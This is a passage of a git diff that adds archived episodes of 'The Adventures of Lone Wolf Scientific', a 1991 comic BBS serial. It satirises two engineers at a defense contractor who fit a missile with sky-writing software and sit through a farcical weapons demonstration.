will be able to use. At the moment, my vocabulary of +expletives is not large enough to permit me to spend more +than ten minutes--maybe fifteen tops with this aggravating +muddle." + + "What is it?" + + "It is software." + + "Software for what?" + + "A guided missile." + + Andrew.BAS looked up in alarm. "Smart bomb software, +huh?" His face grew grave. "I don't know if I care to use +my programming talents to further the aims of over-financed +militarists who resolve their problems through mass +destruction." + + "No, no, Andrew.BAS, you've got the concept and the +terminology all wrong!" S-max wagged a finger at him. "The +missile that this foolish software purportedly controls is +not a weapon." + + "No?" + + "It is a <>. + + "Hmm..." + + "That's right. A peace-keeping tool. Before the +missile explodes it writes a message in the sky--" + + "A message in the sky? Really? + + "Yes, it writes a communique in the clouds with various +colors of smoke that are all VGA compatible and can all be +software controlled." + + "Well, that's pretty neat." + + "Yes, it <> neat." The computer builder rolled his +eyes at how easy it was to impress child-hearted programmers +such as his officemate. "It writes messages like 'Please +lay down your arms, dear friends, and we will lay down ours +too,' or 'We are all one happy people, sharing alike in +life's bounty and joy, so let us not fight anymore. Come +over to our place tonight and watch "Star Trek" reruns with +us. We will provide the microwave popcorn.'" He grunted. + + Andrew.BAS's eyes shifted disbelievingly. "And it +doesn't write messages like 'Die, Die Fascist Sheep-Sucking +Worm'?" + + "No, of course not. Only polite, peaceable messages." + + "Hmm..." + + "It's a fact! If the people on the ground attentively +read and follow the instructions that the missile prints in +the sky prior to detonation, they will save their population +from further holocaust. That's why it's called a peace- +keeping tool." + + "But the bomb will still explode, right?" + + "Well, yes, the bomb will still explode." + + "Then it's an instrument of death." + + "No, no, it's a peace-keeping tool, you fool!" S-max +seized the programmer by the waifish shoulders and shook +him. "Haven't you been listening to me? <> Now listen: if the doomed and helpless populace on +the ground follow the advice written high in the sky by the +bomb, they can be assured that hundreds of thousands of +other bigger bombs won't follow. Can you understand that? +Are you aware of the difference between acceptable levels of +human casualties and total nuclear annihiliation? Or did +they forget to teach you that important concept in software +school?!" + + Andrew.BAS shuddered. "Peace-keeping tool, huh?" He +glanced in revulsion at the printout. He would have +continued the debate over peace-keeping tool versus +instrument of death, but his eyes caught on several +interesting passages of code. He unravelled several leaves +of the printout. "This looks like it's written in INDO- +GOSUB," he said in amazement. "It's been years since I've +seen anything in INDO-GOSUB." + + "Yes, there is a lot of INDO-GOSUB in those troubled +lines. There is also profuse use of a programming language +that seems to be called VAX USERS DO IT BETTER. It is +scribbled all over the margins." The computer builder +grunted. "Although I'm not much of an authority on the rude +art of programming (someone of my intellect doesn't need to +be), it seems to me that this is something in which you +could use a lot of vectors." + + "Vectors!?" the programmer started. He had a weakness +for vectors. He unwound more of the spitball-like printout. +"I bet it would be a lot of fun writing a user interface for +software like this," he mused with a smile. + + "Yes, it <> be fun!" his officemate hurried to +add, rolling his eyes once more at the simple pleasures of +easily beguiled programmers. "And think of it, everytime a +helpless agrarian village was not completely decimated +because of this bomb, you would be one of the faceless +technocrats most responsible." + + But Andrew.BAS wasn't listening. He was already +formulating a plan for how he would make this snarl of +computer code, riddled with bewitching ancient tongues like +INDO-GOSUB and requiring profligate use of vectors, easy for +people to use. "I'll give it a prompt that says 'CRUISE:' +like in a banner program, you know..." he said to himself, +as his bossy officemate seized him by the wrist. He dragged +him to his feet, jerked him and the printout over to his +desk and sat them down behind it. "...and maybe a scorebox +which will tabulate the number of direct hits--ouch!" The +programmer bolted to his feet. + + "No need for panic. You only sat on rusty nails." The +computer builder grasped the back of the aircraft cockpit +seat covered with fake zebra fur that served as his computer +chair and shook it vigorously like an apple tree. Half a +hardware store clattered to their feet. He returned the +chair to the floor and pressed the programmer back into it. +Sitting at the computer builder's ramshackle desk, in front +of a lopsided, flame-singed computer terminal, the +programmer looked like a blue-eyed child about to be +sacrificed to a Rube Goldberg device. "Can we lose the +fuzzy dice?" he said, nodding toward the fur cubes dangling +at the top of the screen. + + "Good as gone." S-max jerked them from beneath the +"Honk If You Want Complete Schematics" bumper sticker. + + "And the moose horns?" He pointed toward the antlers +that sprouted from the top of the terminal. + + "That's where I draw the line." + + As the programmer fastidiously retooled the smart +bomb's software over the next three days, the computer +builder hovered over his shoulder watching, like an +impatient Wookie. He brought him his meals, he brought him +cans of soda, he brought him a change of clothes so that he +wouldn't have to stop programming and go home at night. At +least once an hour, he inquired, with a politess so gawky it +sounded as if the computer builder had never been polite +before, when Andrew.BAS would be finished giving the +software a new user-interface. + + Finally, one day, the programmer stood up, pointed to +the screen, and said, "Do you see that prompt?" The prompt +he was referring to was a flashing arrow. It was preceeded +by the world 'CRUISE:' + + S-max hurried over and squinted at it. + + "It's a prompt just like the kind you find in software +for printing banners. I assume you are familiar with how +banner programs present you with a prompt that reads +'BANNER:' and after it you type what you want the banner to +read." + + The computer builder nodded. + + "Well, this works the same way. The guided missile +software prompts you with the word 'CRUISE:'--as in cruise +missile. After it, you type what you want the missile to +write in the sky." + + "That's all there is to it?" + + "Yes, that's all." + + S-max pounced on the keys, his knuckles spread like +attacking claws. "So if I type 'Prepare for Total and +Unmitigated Nuclear Annihilation, You Bloody Cur!'--" He +began typing slowly, with two fingers. "--the missile will +blaze that across the sky?" + + "Well...theoretically, yes." + + "And if I type in 'You Are Nothing But a Bunch of +Motherless Warthogs, Waiting to Become a Feast of +Vultures,'--" The computer builder began tapping in +'warthogs.' "--the missile will write that in the sky too?" + + "Umm...yes, theoretically." + + "And if I key in 'Gus Farwick is Nothing But a +Testosterone-less Simp with Eel Toes for Brains' the bomb +will blaze that truth in the clouds?" + + "Hmm..." Andrew.BAS was afraid something like this +would happen. "Theoretically," he said. "The software is +equipped to write things for many occasions." + + "You are a genius, Andrew.BAS!" S-max clasped him by +the shoulders. "This software is so simple even I can use +it! Look!" He returned his apeish knuckles to the +keyboard. "I can type 'Gus Farwick Has a Mind of Shredded +Tires and a Soul of Wet Noodles," and the missile will spell +that in the sky!" He tapped in the first three letters of +'shredded tires' with relish. "I can type 'Gus Farwick is a +Needle-Nosed Ninnyhammer' and those very words will also be +writ in the clouds for all to see. I tell you, Andrew.BAS, +you have transformed the world of peace-keeping tools!" + + The programmer frowned. + + The computer builder was tapping in the word +'ninnyhammer,' when he suddenly stopped and said, "Wait a +minute. Why can't I finish typing 'ninnyhammer'?" He +pointed bewilderedly to the red flashing computer screen. +"The screen is pulsing and the software is telling me that I +made a 'Language Parser Error.' What does this mean, +Andrew.BAS?" + + "I wrote into the software a language parser," the +programmer explained. "It prohibits you from entering any +of 137,542 derogatory words, phrases, and euphemisms--most +of which are taken from your daily vocabulary--" + + "You what?!" + + "The feature is designed to prevent you--or anyone +else--from programming the bomb to skywrite something in a +time of war that you might later regret having said." + + "Can I at least program it to skywrite 'scumball'?" S- +max began keying in the phrase. + + "No, I'm afraid you can't." + + "How 'bout 'meatball brains'?" + + "I'm afraid that's outlawed too." + + "How 'bout testosterone-less simp'?" + + "Also verbotten." + + S-max's typing grew fast and frantic. "Can I enter +them in Polish?" + + "No, you can't enter them in any language. I've built +into the software invective glossaries for 728 foreign +languages, including Urdu, to ensure that no one mistakenly +programs the smart bomb to skywrite words they may later +regret having said." + + "You mean I won't be able to make the missile spell +'eel toes' in the clouds whenever I need it to?!!" The +computer builder gazed in horror at the red flashing screen +as long rows of error messages scrolled across it. + + "I'm afraid not. As I told you, I built the parser +around your daily vocabulary--" + + S-max gasped, "You lunatic!" Before the Cub Scoutish +programmer had a chance to finish gathering up his +programming tools, the enraged computer builder seized him +by the shirt collar, jerked him out of the zebra skin- +covered chair, and bustled him back across the office and +deposited him on the dirty floor beneath the coat tree from +whence he came. "And don't move until I tell you to, you +troublemaker!" he blustered. Shuffling back to his desk, a +dark scowl creasing his face, the thwarted missile launcher +grumped, "This is what I get for choosing a brains-in-a- +function-key programmer to collaborate with me on my +greatest hopes, plans, and ambitions." He grunted in +despair. + + + + +>>>In the next episode of "The Adventures of Lone Wolf +Scientific," S-max tries to foil the language parser that +his programmer officemate has cleverly crafted into the +smart bomb's software.<<<< + diff --git a/textfiles.com/magazines/LWS/15.lws b/textfiles.com/magazines/LWS/15.lws new file mode 100644 index 00000000..e516c84d --- /dev/null +++ b/textfiles.com/magazines/LWS/15.lws @@ -0,0 +1,395 @@ +---------------------------------------------- +"The Adventures of Lone Wolf Scientific" +------------------------------------------ +An electronically syndicated series that +follows the exploits of two madcap +mavens of high-technology. Copyright 1991 +Michy Peshota. All rights reserverd. May +not be distributed without accompanying +WELCOME.LWS and EPISOD.LWS files. +----------------------- +EPISODE #15 + + + + The High-Tech Weapons Demonstration + +>>Dingready & Derringdo Aerospace unveils their newest crop +of computer-guided missiles to military dignitaries. Will +the proceedings be disrupted by a certain hardware hacker in +ratty sneakers?<< + + + by Michy Peshota + + + "Aren't those bull's eyes rather large?" + + "Not if you're a really large bomb." + + A missile sailed past General Figgerty and Bing-bing +Huntz in the bleachers and disappeared with a tuckered out +whistle in a clump of bushes on the other side of the test +field. Both gazed in disappointment at the missed twelve- +foot-high bull's eye. + + "That missile has a much higher reliability rating on +the battlefield where there are no lilac bushes present," +the president of the aerospace company said. He pointed to +the next event listed on the program in the general's hands. +It read "Demonstration of THERMONUCLEAR GUERNSEY." +THERMONUCLEAR GUERNSEY was the bomb's codename. "Our next +smart bomb contains so many microchips," he said, "it is +capable of honing in on, not just bull's eyes, but giant +cardboard cutouts of cows. Even under cover of darkness." +Raising his binoculars to his eyes in executive +anticipation, he focused on the technicians a hundred yards +off who were loading a football-shaped object into what +appeared to be a giant slingshot. + + The general glanced uneasily at the other side of the +field where a billboard-high cutout of a milk cow straddled +the grass like a Texas barbecue decoration. A bull's eye +was lashed to its flanks. "But if they're smart bombs," he +persisted, "why do they need bull's eyes?" It was a +question that had nagged him all through the high-tech +weapons demonstration. "Don't the bombs contain the +electronic circuitry and computer software to zero in on the +cows themselves?" + + "General, oh, general," the executive sighed, resting +his binoculars in his portly lap. "We at Dingready & +Derringdo have found, through years of experience with +ballistics--and I mean years, we have more experience than a +certain competitor of ours whose smart bombs seem to keep +capturing the public's imagination solely on the basis of +their accuracy--that software <> works better when +there's a bull's eye present." + + The missile launcher lobbed its football into the air. +It arched toward the clouds with a wobbly uncertainty. +Reaching the crown of its flight, it cracked in two like a +candystick, and its halves fell earthward with a heavy +futility. One knocked over the cardboard guernsey. + + "We may be in the experimental stages for years with +some of these highly sophisticated weapons," Bing-bing Huntz +said. Peering through his binoculars, he spotted what +appeared to be a parasitic spot scurrying up the bleachers +toward him. It quickly grew to the size of a three-piece +suited monster in his otherwise sunny view. He jerked the +lenses from his nose to see, crouching in front of him, the +wiggly form of the irritating engineer-manager Gus Farwick. +His head was clamped between two over-sized audio earphones, +he waved a musical baton like an aspiring instrument of +torture. He wheezed, "Is it time yet?" + + "No, it's not time yet, Mr. Farwick! When it's time, +believe me, I will tell you." Huntz lifted his binoculars +back to his eyes and tried to ignore the impatient manager. +It was the fourth time that afternoon that Farwick had +interrupted him to ask if it was time yet for the musical +portion of the smart bomb demonstration. Granted, Huntz +found the engineer-manager's composition "Onward, Dingready +Soldiers, as Sung to Chariots of Fire" as spiritually +uplifting as anyone else in the little aerospace company, +but there was a time for leading engineers in song and there +was a time for firing overpriced munitions, and, in the case +of Dingready & Derringdo's weapons demonstration to General +Figgerty and his retinue from the Pentagon, Farwick's Greek +chorus from R & D was not going to start their antistrophes +until so many over-budget munitions had missed their mark +that drastic measures were required to lift the audience's +flagging spirits. + + Farwick, faced with the indifferent, binoculared eyes +of the company president, sighed and scurried back down the +bleachers to the sad-eyed phalanx of engineers clenching +music sheets waiting for him below. + + As he disappeared amid the red choir robes, the general +watched him and, as his eyes scanned over the pasty faces +and rumpled hair, they came upon a familar lopsided nose and +condescending, indignant scowl poking up from above a choir +robe. The general could not recall where he had encountered +those eyes and that nose before, but he was suddenly +overcome with a feeling of primal helplessness and a dark +forboding that seemed to bring with it a mental image of +copious amounts of duct tape. He instinctively turned his +head away so as to avoid any painful recollections of who +this engineer was. + + "The next smart bomb," Huntz continued, pointing to the +codename 'THERMONUCLEAR CHECKERS' printed on the general's +program, "is designed to completely annihilate any and all +billboards painted with giant checkers that the enemy may +have to offer." He directed the general's gaze across the +field to a checkered billboard. A large bull's eye was +strapped to it. + + "Huntz, I fail to see the strategic significance of +having bombs that can seek out and destroy billboards +covered with giant checkers--" + + "General--" + + "Please, let me continue. I've already paid you $17 +million in R-and-D costs. I have a right to be heard." His +face flushed red. "I simply fail to see the purpose of +having computer-guided warheads that can seek out and +destroy cardboard cutouts of cows, piles of watermelons--" + + "General--" + + "--or warehouses full of old phone books, OR mattresses +spray-painted with the words 'UNDERGROUND SILO,' or--" + + "General, general," the executive chuckled. "<> +are the great military strategist. You are the military +mind who has been compared to Patton, to Eisenhower even. +You are the one who's job it is to deploy state-of-the-art +technology on the battlefield. Our purpose is merely to +provide you with the tools you need. <> are the one +who must provide the imagination to use them. We can't help +you with that." He chuckled again. + + Another warhead whizzed past them. It missed the +honeysuckle bush with the bull's eye lashed to it to which +it was headed and disappeared a hundred of yards off in a +grove of trees. All necks cranned to see where it went. +From the vacinity of the company parking echoed a "boom!" +The tinkle of shattered glass and clink of rolling hubcaps +followed. Two technicians lugging kitchen fire +extinguishers dashed off across the field. + + "Looks like another honeysuckle bush got away," the +general gloomed. + + The next bomb on the weapons demonstration program was +codenamed THERMONUCLEAR FIELDS. It was engineered +specifically for blowing up large empty fields. As the +general and Bing-bing Huntz watched it arch into the air, +then vanish permanently in the clouds like a delinquent +kite, the general asked, "What happens when you lose bombs?" + + "They're usually identified soon after by nearby +residents as UFOs." + + "But you do recover them, don't you?" + + "Well, yes, sometimes, assuming we can retrieve the +pieces fast enough before they're sold to the supermarket +tabloids." + + From two steps below on the bleachers came a familiar +whine. "Is it time yet?" + + Both the general and company president stared down in +mutual irritation at the unctuous engineer-manager who had +once again struggled up the steps with his assailant's baton +and was now standing before them with the peevish foreboding +of a psychopathic accapellaist. + + "No, Mr. Farwick," Huntz moaned, "it is not time yet." + + The general inspected the waiting chorus on the field +and once again sighted the man with the brooding scowl and +lopsided nose. Beneath his choir robe, he wore large ragged +sneakers, and orange t-shirt printed with what appeared to +be a faded infinity sign poked out from beneath the robe's +open collar. He seemed to be skulking in the back of the +chorus as if he didn't want to be seen. Suddenly, the +general knew who the crooked-nosed man reminded him of. +"Huntz," he said worriedly, as the latter watched the +insect-like form of the engineer manager struggle down the +bleachers, "you wouldn't have the bad luck to employ a +research engineer by the name of Sherwood Franklin Maxwell, +would you?" + + "Maxwell?" the executive mused. "No idea." + + Farwick, who was stepping awkwardly between two gun- +wearing CIA agents and had just tipped over the popcorn of +one, froze upon hearing the dreaded name. <> He +shuddered and listened. + + "Curious fellow," the general continued. "An I.Q. +higher than the odometer on my jeep, and with more advanced +engineering degrees than can be found in an emerging +industrial nation, but let me tell you, he's more trouble +than a nuclear submarine lost under the Pacific." The +general grew suddenly impassioned. "Do you know that we +once had to redesign a two-ton Star Wars satellite because +of him?" + + "You can be certain he's not an employee of <>," +Huntz chuckled. Secretly, though, the president of the +defense contractor wondered if this Maxwell-character +<> a Dingready & Derringdo employee. Afterall, Huntz +never bothered to venture into any of the aerospace +company's mamy, many research sub-basements, and god only +knew what went on down <>. + + "He mailed the satellite's blueprints to the National +Aeronautics and Space Administration," the general +continued, "along with diagrams for how to fasten it inside +the space shuttle's cargo bay with duct tape. I was told he +was trying to get transferred to NASA or something. It +almost worked." + + Farwick congratulated himself for having been wise +enough to quarantine Employee S-max in his office during +this most important weapons demonstration. At this very +moment, the meddling computer builder was sitting behind his +desk, far from either phone or electrical outlet, flipping +through an employee motivation calendar and memorizing the +quotes from employee motivation gurus that were printed +therein. + + As the general and company president's conversation +turned to an examination of why a four-million-dollar +computer-guided rocket bomb designed to seek out and destroy +mounds of tangled up coathangers had just ended up in a +patch of mulberry bushes, Farwick continued stepping his way +through the CIA panjandrums, confidently, with a renewed +sense of managerial omnipotence. Suddenly, he heard a +bellow of "Farwick! Start them singing!" and his musical +baton knocked the hats off three lieutenants in front of +him, and he bolted the rest of the way down the bleachers, +tripping over briefcases and knocking over popcorn along the +way. Arriving on the field, he hurriedly gathered together +his acapellists, lifted his baton with the surety of one +about to strike out with a fly-swatter, shaped his mouth +into a sordid "o", and brought the baton down with the force +of one semaphoring on an aircraft carrier in the fog. His +songsters began: <<"Our blow-torches are reeea-dy!...">> + + "Our next smart bomb," Bing-bing Huntz shouted to the +general, his words drowned by the off-key chorus, "is an +especially deadly ground-to-air missile...." + + <<"Our shoestrings are tieeeeed!....">> + + He pointed out the codename on the program. THE LAST +WORDS BOMB. "Our programmers have been working very hard on +this one," he shouted. "According to Farwick, some have +even pulled an all-nighter or two. I can't imagine what has +inspired them." + + <<"Our desks are in orrrrder! Our courage is too!">> + + On the test field, the sling-shot-missile launcher +lobbed what looked like a giant pineapple into the air. + + <> + + It curled across the blue with drawing board-perfect +grace, red smoke unfurling behind it. It swept into the +letter G. + + <> + + It wove a U over the clouds. It scrawled an S. It +skipped a cloud, and after it scribbled with hasty +determination "FARWICK." The singing stopped for a moment +as everyone looked upward and gaped. + + The engineer-manager cracked his baton on the portable +podium with oblivious determination. The choir resumed, +"<>" + + The bomb plundered further into the clouds. It wove a +red curlicue, then it spelled, "S...I...N...G...S...T... +H...E...B...I...G...K...A...H...U...N...A." + + The onlookers gasped. + + Annoyedly, the engineer-manager cracked his baton so +hard on the podium it cracked. The choir, still watching +the sky, shakily resumed, <<"...is the thing we most like to +doooo!...>>" + + The missile swooped down like a vulture at its prey and +everyone in the bleachers and on the field dived to the +ground or under the seats, their hands covering their heads. + + Farwick stubbornly sung the last words of the song +himself. "<>" He stretched out his arms out like +Pavarotti. + + The Last Words Bomb curled to the side and flew +straight into the heart of a bull's eye propped on hay bales +in the center of the field. It exploded in a white burst of +flame. + + Stunned spectators struggled up from the ground or +crawled from beneath the bleachers, as a blanket of smoke +drifted over the hushed field. Many stood silently looking +up at the sky and its curious proclamation "GUS FARWICK +SINGS THE BIG KAHUNA." Some wondered if it was a message in +code, and others if it was a typo. A few considered it a +fitting overhead caption to the warped singing on the +ground. A handful even toyed with the possibility that some +of its nouns and verbs might be clever dodges of the bomb's +rumored language parser, and a more subtle, potent message +lurked beneath. <> For whatever reason, the crowd spontaneously +erupted in a huzzah of blind and barbaric gusto. + + General Figgerty slapped Bing-bing Huntz on the back. +"Golldamnit, your research people never cease to surprise!" + + The company president smiled and said, "Now, I never +want to hear you or your people complaining again about $17 +million being mispent." + + The only one who was unappreciative of the screwball +proclamation now smearing across the sky was the former +aspiring symphonic choir conductor. He pulled off his audio +earphones and gazed at the clouds with the malevolence of +one who's greatest work of art has just been hideously +maligned. He clenched his cracked baton and envisioned +himself administering deadly karate chops to the perpetrator +of this fiendish affront, a man who at this very moment was +probably slouching in his zebra skin-covered computer chair, +smirking. Gus Farwick Sings the Big Kahuna, indeed! + + Far down the test field, a man in a faded orange, +infinity-sign emblazoned t-shirt, his choir robe trailing in +the dirt, shuffled off in raggedy sneakers. He did not know +exactly where he was headed, except that he had a suspicion +it might be best if he went to clean out his desk. He did +not want to forget his ten pound roll of duct tape or his +classic SIMMs extractor collection in the top drawer, as he +had done at the last place of employment from which he had +been fired. Dingready & Derringdo Aerospace's five-foot- +thick concrete walls, laser-eye security system, and armed +guards might make sneaking back at night with burglary tools +to retrieve them rather difficult. + + He also figured that he had better tell his officemate, +the ever-naive Andrew.BAS, about this latest turn of events. +He seemed to recall the programmer having said something +about planning to pay the rent next week, and since he had +liberally commented the The Last Words Bomb's software with +"ANDREW.BAS WROTE THIS" he figured he had best tell him +before he wrote the check. + + + + + +>>In the next episode of "The Adventures of Lone Wolf +Scientific"....When S-max and Andrew.BAS find themselves +without a job and without any viable character references, +they decide that the only option left is to start a high- +tech company together.<< + diff --git a/textfiles.com/magazines/LWS/episod.lws b/textfiles.com/magazines/LWS/episod.lws new file mode 100644 index 00000000..cf713a6c --- /dev/null +++ b/textfiles.com/magazines/LWS/episod.lws @@ -0,0 +1,82 @@ + +EPISOD.LWS +Copyright 1991 M. Peshota + +This is a list of all installments of "The Adventures of +Lone Wolf Scientific" and when they first appeared--as well +as sneak previews of future installments: + +I -- "The Computer Genius Goes to Work" -- The worst thing +that can happen to a globe-trotting computer genius is +gainful employment. From a curb outside an artificial +intelligence company, computer genius S-max contemplates the +wreckage of his employment history. He desperately hopes +the rescue mission is properly wired for his needs. +(1.21.91) + +II -- "The Second Renaissance of Space Exploration +Technology and What Happened to It" -- Bashful boychild +software engineer Andrew.BAS stumbles unwittingly +into the neurosis and smashed dreams of the military- +industrial complex. Within days he loses his soul while +waiting for a government security clearance. (2.4.91) + +III -- "When Men of Destiny Meet" -- Robbed of the last +vestiges of his engineering school idealism, the dimpled +young software engineer's spirits improve when he befriends +another man who also failed to get a job on the space +shuttle. (2.18.91) + +IV -- "Welcome to The People's Republic of Engineering -- +Abandon Hope Ye Who Enter Here" -- Andrew.BAS, the kid +computer programmer who looks like the kind of computer +programmer Norman Rockwell would have drawn, is horrified to +learn that he will be writing batch files to aim nuclear +missiles. Meanwhile, his new officemate gets into a snit +with their boss over anti-static boot mats. (3.4.91) + +V -- "Bad Days Befall The People's Republic of Engineering" +-- Super engineer-manager Gus Farwick contemplates his +newest problem employee and formulates ways to keep him +safely in his office. (3.18.91) + +VI -- "A Day in the Life of Two Defense Workers" -- S-max +and Andrew.BAS struggle to adjust to their new lives +as defense contractor workers. When the computer builder +tires of his responsibilities keeping track of "super-string +defense links," he convinces his officemate that they should +design a closet-sized replica of NASA's Mission Control. +(4.1.91) + +VII -- "The House Guest with 172 Soldering Irons" -- +Andrew.BAS naively offers his homeless officemate a place to +sleep. He and S-max are barely out of the company parking +garage when the generous-to-a-fault programmer begins to +regret his offer of hospitality. (4.15.91) + +VIII -- "The House Where Andrew.BAS Lived" -- The home of a +computer programmer is always a special place. It's where +free and perfect cerebral sensibility clash with a complete +ineptitude with tangible things. Andrew.BAS's house is no +exception. Overbearing houseguest S-max decides that, even +though it's nowhere near a Radio Shack, it's an ideal +place to inhabit indefinitely. (4.29.91) + +IX -- "The Ghost of Alan Turing" -- Monkish assembly +language wizard Austin Jellowack is pestered by an unwelcome +pal from a higher programming realm. (5.15.91) + +X -- (UPCOMING 5.27.91) -- "Tense Moments In Mission +Control" -- A nerve-wracking morning at military contractor +Dingready & Derringdo Aerospace is made even more tense +by a visit from boss Gus Farwick. With notes and camera in +hand, the conniving head of engineering compiles +documentation to terminate the employment of his two most +troublesome employees. + + +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +If you enjoy "The Adventures of Lone Wolf Scientific" please +upload it to other BBS's. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + diff --git a/textfiles.com/magazines/LWS/four.lws b/textfiles.com/magazines/LWS/four.lws new file mode 100644 index 00000000..c3d9d679 --- /dev/null +++ b/textfiles.com/magazines/LWS/four.lws @@ -0,0 +1,211 @@ + +--------------------------------------------- +"The Adventures of Lone Wolf Scientific" +------------------------------------------ +An electronically syndicated series that +follows the exploits of two madcap +mavens of high-technology. Copyright 1991 +Michy Peshota. May not be distributed +without accompanying WELCOME.LWS and +EPISOD.LWS files. +---------------------- + + + Welcome to The People's Republic of + Electrical Engineering + "Abandon Hope Ye Who Enter Here" + +>>Andrew.BAS, the dimpled young computer programmer who +looks like the kind of programmer Norman Rockwell would have +drawn, is horrified to learn that he will be writing batch +files to aim nuclear missiles. Meanwhile, his new +officemate gets into a snit with their boss over anti-static +boot mats.<< + + By M. Peshota + + + The engineer-manager, striding ahead of them into the +darkness, droned on like a cardboard sergeant. "Should you +find yourself lost in the research and development sub-sub- +sub-sub-sub-sub-sub-basement, just follow the jet engine +pieces on the floor. They'll lead you straight into heart +of The People's Republic of Engineering." + + S-max grunted in appreciation for this travelling tip. +A stricken Andrew.BAS whispered to him, "I still can't get +over the fact that we're going to be building nuclear bombs. +The employee recruitment brochures that they passed out at +my college never said anything about writing batch files to +aim missiles at major population centers." + + "Will you just mellow out!" the computer builder huffed +in impatience. "I don't see why you can't make the best of +this. Just because you'd rather be a space cadet than work +for a military contractor is no reason to incessantly whine +in my ear. I, personally, am looking forward to the +opportunity to work with state-of-the-art peace-keeping +materials." He grunted. "Just think of all the wonderful +things you'll be able to do with a surface-to-air missile." + + Rounding a hall corner, the trio heard a maniacal +shriek, then spotted the shadow of a hunchback in a space +suit scurrying across the path in front of them. + + Farwick noticed Andrew.BAS gaping at a printout banner +that clung to a cinderblock wall like refuse from a failed +liberty uprising. It read: "Welcome to the Gus Farwick's +People's Republic of Engineering, Abandon All Hope Ye Who +Enter Here." The engineer-manager smiled. "The research +engineers and I share a remarkable relationship. Some of +them think of me as their father. That's probably because I +enjoy hearing about the things they do, even though the +technicalities involved make no sense to me." + + S-max shot Andrew.BAS a look of intense and profound +relief. The programmer wondered what that meant. + + Their new boss continued, "We do a lot of special +things together here in The People's Republic of EE. Last +month, for instance, I treated everyone to new alligator +clips. Sometimes we sit around during lunch and talk about +electricity. That's how close we are." + + The trio reached a drain-opener green door. A yellowed +window mounted in the center and reinforced with chicken +wire suggested a cross between a door from a seedy public +washroom and a San Quentin cell. Farwick jiggled the knob +and swung the door open with a clatter. "Mr. Jellowack!" he +chimed. "I have officemates for you!" + + They spotted, hunched in a far corner of the office, +what looked like a gargoyle with humungous black-rimmed +glasses bobbing askewedly from his nose. Perched on a tall +stool in front of a computer terminal, his hair and fingers +flying, he looked like a dungeon apprentice to lunacy. He +peered at them with dark feral child eyes for a second, then +his gaze darted back to the terminal screen as if he +preferred to think they didn't exist. + + "This is Mr. Jellowack," Farwick motioned to him. "He +programs exclusively in assembly language, sometimes for +days without sleep, fresh air, nourishment, or healthy human +contact. This, I am told, is something at which to both +marvel and consider highly dangerous." + + S-max squinted suspiciously at the assembler savant as +if he could see already how dangerous he was. + + Andrew.BAS waved at him in a bright-eyed, friendly +programmerly fashion. "Hello, Mr. Jellowack!" he hailed. +"My name is Andrew.BAS. My favorite programming language is +C, although I do occasionally enjoy adding assembly language +subroutines to my code." + + S-max rolled his eyes in disgust at such a mawkish +display of the over-friendliness programmers like to lavish +upon each other at any meeting. + + Mr. Jellowack ignored them and continued prancing his +scarred knuckles over the keys. + + Farwick swept around the office, arms extended, like a +real estate agent. "One of the many amenities of this +particular office," he began, "is the plastic boot mat in +the corner." He pointed at it with pride. + + S-max scrutinized it. "Is it anti-static?" + + "Umm..." + + "THEN WHAT GOOD IS IT?!" the indignant computer builder +howled. + + Farwick paused in distress, then ignored him and +continued on in an animated, Cavalcade of Homes fashion. +"But wait!" he said. "There are other hidden graces to this +particular earthen sanctum---" + + S-max glared at the battered metal desk in the center +of the office. "Why is there only one empty desk?" he +demanded. He unfastened the big, plastic walkie-talkie that +was clipped to his belt. He slammed it onto the desk with a +territorial fury. "And why isn't Andrew.BAS getting a +desk?" + + Farwick paused and gazed at the desk. Yes, the wierd +man with the walkie-talkie was correct. There was only one +empty desk, and he had two new employees to accomodate. +What to do? He bit his lip in indecision. He hated +requisitioning office furniture. There were so many forms +to fill out, so many questions to answer, so many big green +boxes to check. He finally mumbled, "I suppose you two can +share the desk." + + "I DO NOT SHARE DESKS!" S-max erupted. + + Farwick quivered. + + "I AM A FAMOUS COMPUTER DESIGNER! I AM USED TO SPECIAL +TREATMENT!" The enraged computer builder flung his baboon- +big arms in the air, all the while rattling like a million +broken screwdrivers. "At other high-tech installations +where I have worked, I was not only given my own boot mat +and my own pad of While-You-Were-Out memos, I was allowed to +walk around in jeweled slippers!" he howled. "I had an +office that that overlooked a major freeway! I had an index +card with my own name printed on it, spelled correctly too +and taped to the office door! It was taped with the highest +quality masking tape available! I was provided with an +almost limitless supply of Post-It Notes! Think about it: +<>! The crowds gasped and parted +whenever I walked in the direction of the Cray-YMP with a +screwdriver!" He huffed and sputtered and pulled from a +pocket inside his army jacket the most humungous circuit +diagram that Farwick had ever seen. He crushed it into a +desk drawer. "Some days I played video games until I +dropped!" he continued hotly. "Other days I took naps at my +desk! My wastebasket was emptied almost daily! People +retrieved for me my t-shirts and gym socks whenever I +dropped them in the hall! THAT'S BECAUSE I AM A FAMOUS +COMPUTER DESIGNER! I AM USED TO SPECIAL TREATMENT!" As he +glared at Farwick, the engineer-manager felt every fiber in +his body turn to pudding. "I do not share things, +especially not desks, and <> not with some low- +life computer programmer!" S-max motioned irritatedly in +the direction of Andrew.BAS. + + Andrew.BAS wondered what he had done to deserve the +designation of low-life. Meekly, he placed his backpack +full of engineering textbooks and his briefcase full of sci- +fi novels on the floor beside him. "I'll just sit on the +floor," he volunteered politely. "The last thing I want to +do is cramp S-max's style." + + S-max looked relieved. So did Farwick. + + The engineer-manager clapped his hands together. "Then +we are all moved in." + + S-max looked around the office bewildered. "One last +question," he said. "Where is my champagne-filled Jacuzzi?" + + "You'll have to take that up with the sales and +marketing department." The engineere-manager bolted towards +the door. "They have all the champagne-filled Jacuzzis at +the moment. We don't get many down here in R and D unless +they're in need of a new landing gear or something like +that." With that, the frightened Farwick fled down the +hall, leaving the self-proclaimed "famous computer designer" +scowling indignantly and the gentlehearted computer +programmer wondering what he had done to deserve a life of +sitting on the floor, programming nuclear missiles to +annihilate major population centers. + + +>>>>In the next installment, "Bad Days Befall the People's +Republic of Electrical Engineering," engineer-manager Gus +Farwick contemplates ways to keep the restive S-max safely +in his desk and out of trouble.>>>> + + diff --git a/textfiles.com/magazines/LWS/one.lws b/textfiles.com/magazines/LWS/one.lws new file mode 100644 index 00000000..18698a58 --- /dev/null +++ b/textfiles.com/magazines/LWS/one.lws @@ -0,0 +1,212 @@ +--------------------------------------------- +"The Adventures of Lone Wolf Scientific" +------------------------------------------ +"The Adventures of Lone Wolf Scientific" is +an electronically syndicated series that +follows the exploits of two madcap +men of high-technology. Copyright +1991 Michy Peshota. May not be +distributed without accompanying +WELCOME.LWS 